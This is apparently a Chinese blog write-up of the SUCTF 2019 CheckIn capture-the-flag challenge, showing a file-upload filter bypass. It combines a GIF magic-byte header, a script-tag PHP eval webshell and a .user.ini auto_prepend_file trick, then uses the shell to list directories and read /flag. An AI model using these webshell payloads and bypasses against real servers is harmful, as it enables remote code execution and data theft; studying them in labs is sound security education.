Buuctf(文件上传.uesr.ini绕过)[SUCTF 2019]CheckIn 1

解题思路

一.打开题目:发现一个上传框,猜测上传一句话木马,获取后台shell在这里插入图片描述

二.上传.php .phtml .等有关的PHP文件,都显示非法后缀在这里插入图片描述

三.上传.htaccess文件,显示只能是图片类型文件

在这里插入图片描述

exif_imagetype函数:

exif_imagetype — 判断一个图像的类型说明
exif_imagetype ( string $filename ) : int
exif_imagetype() 读取一个图像的第一个字节并检查其签名。

本题有exif_imagetype后端检测,为了绕过可以用文件头幻术,而且后端检测一直存在,我们后续上传的文件都必须加上相应的幻数头字节
  1. 在010editor十六进制编辑器中加上
    FF D8 FF E0 00 10 4A 46 49 46 相当于JPG文件
    47 49 46 38 39 61 GIF(相当于文本的GIF89a)
    89 50 4E 47 相当于PNG文件
  2. 直接在notepad++中文件头位置加上GIF89a JGP PNG

四.接下来上传图片类型的图片马

传一个最普通的一句话木马:

GIF89a?
<?php @eval($_POST['messi']);?>

显示文件中不能包含<?

在这里插入图片描述

这里就需要用到另外一个一句话木马:

GIF89a?
<script language="php">@eval($_POST['messi']);</script>

五.更改后我们再次上传一个图片类型的文件,终于成功上传在这里插入图片描述

六.上传了图片类型的文件,但是如果不是PHP类型就还是没法利用,我们尝试下用BP抓包修改文件类型在这里插入图片描述

放包后还是被检测出来了,非法后缀

在这里插入图片描述

七.本题就引出了一种新的绕过姿势.user.ini文件

.user.ini文件构成的PHP后门

原理:

.user.ini文件形成后门原理就是会在执行所有的php文件之前包含.user.ini所指定的文件。比如,某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。

姿势:

我们发现成功上传1.gif文件后,出现了一个index.php文件,正好符合.user.ini的绕过姿势。
在这里插入图片描述
因此,我们只要上传好一个.user.ini文件后,再上传编写好的1.gif一句话木马文件,index.php文件就会将1.gif包含在里面,相当于不用修改后缀就能把控制网站目录权限的一句话木马包含在PHP文件里。

.user.php:
GIF89a (因为要绕过exif_imagetype后端对文件头类型的检测)
auto_prepend_file=1.gif
1.gif:
GIF89a?
<script language="php">@eval($_POST['messi']);</script>

八.获得网站所有目录的访问权

确认文件是否上传成功:
messi=phpinfo();

在这里插入图片描述

上传成功后,给了我们一个上传的路径,我们必须在此路径下来执行命令

第一种命令

查看目录下的文件,很显示此目录下都是我们刚刚上传的文件。1.gif很好的包含在了index.php文件中。
messi=system("ls ");

在这里插入图片描述

查看根目录文件,发现了flag文件
messi=system("ls /");

![在这里插入图片描述](https://img-blog.csdnimg.cn/e2b02a9b51854fb3a4fab887d6e49e3e.png#pic_center

打开根目录下的flag文件
messi=system("cat /flag");

在这里插入图片描述

第二种命令(这种方式更快)

扫描根目录:

scandir:按顺序读取指定目录下的所有文件及其路径

messi=var_dump(scandir("/"));

在这里插入图片描述

打印出flag所在文件中的内容
messi=var_dump(file_get_contents("/flag"));

在这里插入图片描述

  • 0
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值